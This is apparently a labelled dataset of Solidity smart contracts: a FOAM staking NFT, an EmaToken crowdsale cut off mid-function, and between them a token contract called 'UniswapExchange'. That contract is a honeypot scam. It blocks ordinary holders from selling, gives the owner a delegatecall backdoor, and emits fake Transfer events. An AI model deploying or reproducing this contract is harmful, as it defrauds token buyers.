uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract TokenControllerI {
function transferAllowed(address _from, address _to)
external
view
returns (bool);
}
contract ERC721Receiver {
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4);
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
mapping (uint256 => address) internal tokenOwner;
mapping (uint256 => address) internal tokenApprovals;
mapping (address => uint256) internal ownedTokensCount;
mapping (address => mapping (address => bool)) internal operatorApprovals;
constructor()
public
{
_registerInterface(InterfaceId_ERC721);
_registerInterface(InterfaceId_ERC721Exists);
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(
address _owner,
address _operator
)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
require(isApprovedOrOwner(msg.sender, _tokenId));
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
{
transferFrom(_from, _to, _tokenId);
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(
address _spender,
uint256 _tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(
msg.sender, _from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Controllable is Ownable, ERC721BasicToken {
TokenControllerI public controller;
modifier isAllowed(address _from, address _to) {
require(controller.transferAllowed(_from, _to), "controller must allow the transfer");
_;
}
function setController(TokenControllerI _controller) public onlyOwner {
require(_controller != address(0), "controller must be a valid address");
controller = _controller;
}
function transferFrom(address _from, address _to, uint256 _tokenID)
public
isAllowed(_from, _to)
{
super.transferFrom(_from, _to, _tokenID);
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract StakeToken is ERC721Controllable, POUInterface {
EIP20Interface intrinsicToken;
uint256 nftNonce;
using SafeMath for uint;
function numApplications(address prover) external view returns(uint256) {
return balanceOf(prover);
}
function totalStaked(address prover) external view returns(uint256) {
return _totalStaked[prover];
}
mapping (address => uint256) _totalStaked;
mapping (uint256 => uint256) public tokenStake;
mapping (uint256 => uint256) public tokenMintedOn;
mapping (uint256 => uint256) public tokenBurntOn;
constructor(EIP20Interface _token) public {
intrinsicToken = _token;
}
function mint(address mintedTokenOwner, uint256 stake) public returns (uint256 tokenID) {
require(msg.sender == mintedTokenOwner, "msg.sender == mintedTokenOwner");
nftNonce += 1;
tokenID = nftNonce;
tokenStake[tokenID] = stake;
tokenMintedOn[tokenID] = block.timestamp;
super._mint(mintedTokenOwner, tokenID);
require(intrinsicToken.transferFrom(mintedTokenOwner, this, stake), "transferFrom");
return tokenID;
}
function burn(uint256 tokenID) public {
address burntTokenOwner = tokenOwner[tokenID];
require(msg.sender == burntTokenOwner, "msg.sender == burntTokenOwner");
uint256 stake = tokenStake[tokenID];
super._burn(burntTokenOwner, tokenID);
tokenBurntOn[tokenID] = block.timestamp;
require(intrinsicToken.transfer(burntTokenOwner, stake), "transfer");
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
_totalStaked[_from] = _totalStaked[_from].sub(tokenStake[_tokenId]);
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
_totalStaked[_to] = _totalStaked[_to].add(tokenStake[_tokenId]);
}
}
contract CSTRegistry {
function getGeohash(bytes32 cst) public view returns (bytes32 geohash);
function getRadius(bytes32 cst) public view returns (uint256 radius);
function getCreatedOn(bytes32 cst) public view returns (uint256 timestamp);
function getDeletedOn(bytes32 cst) public view returns (uint256 timestamp);
function isTracked(bytes32 cst) public view returns (bool);
event TrackedToken(bytes32 cst, address indexed nftAddress, uint256 tokenID, bytes32 geohash, uint256 radius);
function computeCST(address nftContract, uint256 tokenID) public pure returns (bytes32) {
return keccak256(abi.encodePacked(nftContract, tokenID));
}
}
contract SignalToken is StakeToken, CSTRegistry {
mapping (uint256 => bytes32) public tokenGeohash;
mapping (uint256 => uint256) public tokenRadius;
mapping (bytes32 => uint256) public cstToID;
constructor(EIP20Interface _token) StakeToken(_token) public { }
function mint(address, uint256) public returns (uint256) {
revert("use mintSignal(address,uint256,bytes32,uint256) instead");
}
function mintSignal(address owner, uint256 stake, bytes32 geohash, uint256 radius) public returns (uint256 tokenID) {
tokenID = super.mint(owner, stake);
tokenGeohash[tokenID] = geohash;
tokenRadius[tokenID] = radius;
bytes32 cst = computeCST(address(this), tokenID);
cstToID[cst] = tokenID;
emit TrackedToken(cst, this, tokenID, geohash, radius);
return tokenID;
}
function getGeohash(bytes32 cst) public view returns (bytes32 geohash) {
return tokenGeohash[cstToID[cst]];
}
function getRadius(bytes32 cst) public view returns (uint256 radius) {
return tokenRadius[cstToID[cst]];
}
function getCreatedOn(bytes32 cst) public view returns (uint256 timestamp) {
return tokenMintedOn[cstToID[cst]];
}
function getDeletedOn(bytes32 cst) public view returns (uint256 timestamp) {
return tokenBurntOn[cstToID[cst]];
}
function isTracked(bytes32 cst) public view returns (bool) {
return cstToID[cst] != 0;
}
function name() external pure returns (string) {
return "FOAM Signal";
}
function symbol() external pure returns (string) {
return "FSX";
}
} | 1 | 3,659 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 433 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract Controlled is Pausable {
modifier onlyController {
require(msg.sender == controller);
_;
}
modifier onlyControllerorOwner {
require((msg.sender == controller) || (msg.sender == owner));
_;
}
address public controller;
constructor() public {
controller = msg.sender;
}
function changeController(address _newController) public onlyControllerorOwner {
controller = _newController;
}
}
contract TokenController {
function proxyPayment(address _owner) public payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public
returns(bool);
}
contract MiniMeToken is Controlled {
using SafeMath for uint256;
string public name;
uint8 public decimals;
string public symbol;
string public version = 'V 1.0';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping(address => Checkpoint[]) balances;
mapping(address => mapping(address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
constructor(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) public returns(bool success) {
require(transfersEnabled);
doTransfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public returns(bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
}
doTransfer(_from, _to, _amount);
return true;
}
function doTransfer(address _from, address _to, uint _amount) internal {
if (_amount == 0) {
emit Transfer(_from, _to, _amount);
return;
}
require((_to != 0) && (_to != address(this)));
uint256 previousBalanceFrom = balanceOfAt(_from, block.number);
require(previousBalanceFrom >= _amount);
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
uint256 previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo.add(_amount) >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo.add(_amount));
emit Transfer(_from, _to, _amount);
}
function balanceOf(address _owner) public constant returns(uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) public returns(bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public constant returns(uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData) public returns(bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() public constant returns(uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) public constant
returns(uint) {
if ((balances[_owner].length == 0) ||
(balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0) ||
(totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function generateTokens(address _owner, uint _amount) public onlyControllerorOwner whenNotPaused returns(bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply.add(_amount) >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo.add(_amount) >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply.add(_amount));
updateValueAtNow(balances[_owner], previousBalanceTo.add(_amount));
emit Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount) onlyControllerorOwner public returns(bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply.sub(_amount));
updateValueAtNow(balances[_owner], previousBalanceFrom.sub(_amount));
emit Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) public onlyControllerorOwner {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block) constant internal returns(uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length.sub(1)].fromBlock)
return checkpoints[checkpoints.length.sub(1)].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length.sub(1);
while (max > min) {
uint mid = (max.add(min).add(1)).div(2);
if (checkpoints[mid].fromBlock <= _block) {
min = mid;
} else {
max = mid.sub(1);
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value) internal {
if ((checkpoints.length == 0) ||
(checkpoints[checkpoints.length.sub(1)].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length.sub(1)];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size: = extcodesize(_addr)
}
return size > 0;
}
function min(uint a, uint b) pure internal returns(uint) {
return a < b ? a : b;
}
function() public payable {
revert();
}
function claimTokens(address _token) public onlyControllerorOwner {
if (_token == 0x0) {
controller.transfer(address(this).balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
emit ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract ERC20Basic {
function totalSupply() public view returns(uint256);
function balanceOf(address who) public view returns(uint256);
function transfer(address to, uint256 value) public returns(bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
contract EmaToken is MiniMeToken {
constructor(address tokenfactory, address parenttoken, uint parentsnapshot, string tokenname, uint8 dec, string tokensymbol, bool transfersenabled)
MiniMeToken(tokenfactory, parenttoken, parentsnapshot, tokenname, dec, tokensymbol, transfersenabled) public {}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns(uint256);
function transferFrom(address from, address to, uint256 value) public returns(bool);
function approve(address spender, uint256 value) public returns(bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public returns(MiniMeToken) {
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract Crowdsale is Pausable {
using SafeMath
for uint256;
MiniMeToken public token;
address public wallet;
uint256 public rate = 6120;
uint256 public tokensSold;
uint256 public allCrowdSaleTokens = 255000000000000000000000000;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event buyx(address buyer, address contractAddr, uint256 amount);
constructor(address _wallet, MiniMeToken _token) public {
require(_wallet != address(0));
require(_token != address(0));
wallet = _wallet;
token = _token;
}
function setCrowdsale(address _wallet, MiniMeToken _token) internal {
require(_wallet != address(0));
require(_token != address(0));
wallet = _wallet;
token = _token;
}
function() external whenNotPaused payable {
emit buyx(msg.sender, this, _getTokenAmount(msg.value));
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public whenNotPaused payable {
if ((msg.value >= 500000000000000000000) && (msg.value < 1000000000000000000000)) {
rate = 7140;
} else if (msg.value >= 1000000000000000000000) {
rate = 7650;
} else if (tokensSold <= 21420000000000000000000000) {
if(rate != 6120) {
rate = 6120; }
} else if ((tokensSold > 21420000000000000000000000) && (tokensSold <= 42304500000000000000000000)) {
if(rate != 5967) {
rate = 5967; }
} else if ((tokensSold > 42304500000000000000000000) && (tokensSold <= 73095750000000000000000000)) {
if(rate != 5865) {
rate = 5865; }
} else if ((tokensSold > 73095750000000000000000000) && (tokensSold <= 112365750000000000000000000)) {
if(rate != 5610) {
rate = 5610; }
} else if ((tokensSold > 112365750000000000000000000) && (tokensSold <= 159222000000000000000000000)) {
if(rate != 5355) {
rate = 5355; }
} else if (tokensSold > 159222000000000000000000000) {
if(rate != 5100) {
rate = 5100;}
}
uint256 weiAmount = msg.value;
uint256 tokens = _getTokenAmount(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
tokensSold = allCrowdSaleTokens.sub(token.balanceOf(this));
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal returns(uint256) {
if ((_weiAmount >= 500000000000000000000) && (_weiAmount < 1000000000000000000000)) {
rate = 7140;
} else if (_weiAmount >= 1000000000000000000000) {
rate = 7650;
} else if (tokensSold <= 21420000000000000000000000) {
if(rate != 6120) {
rate = 6120; }
} else if ((tokensSold > 21420000000000000000000000) && (tokensSold <= 42304500000000000000000000)) {
if(rate != 5967) {
rate = 5967;}
} else if ((tokensSold > 42304500000000000000000000) && (tokensSold <= 73095750000000000000000000)) {
if(rate != 5865) {
rate = 5865;}
} else if ((tokensSold > 73095750000000000000000000) && (tokensSold <= 112365750000000000000000000)) {
if(rate != 5610) {
rate = 5610;}
} else if ((tokensSold > 112365750000000000000000000) && (tokensSold <= 159222000000000000000000000)) {
if(rate != 5355) {
rate = 5355;}
} else if (tokensSold > 159222000000000000000000000) {
if(rate != 5100) {
rate = 5100;}
}
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract EmaCrowdSale is Crowdsale {
using SafeMath
for uint256;
constructor(address wallet, MiniMeToken token) Crowdsale(wallet, token) public {
setCrowdsale(wallet, token);
}
function tranferPresaleTokens(address investor, uint256 ammount) public onlyOwner {
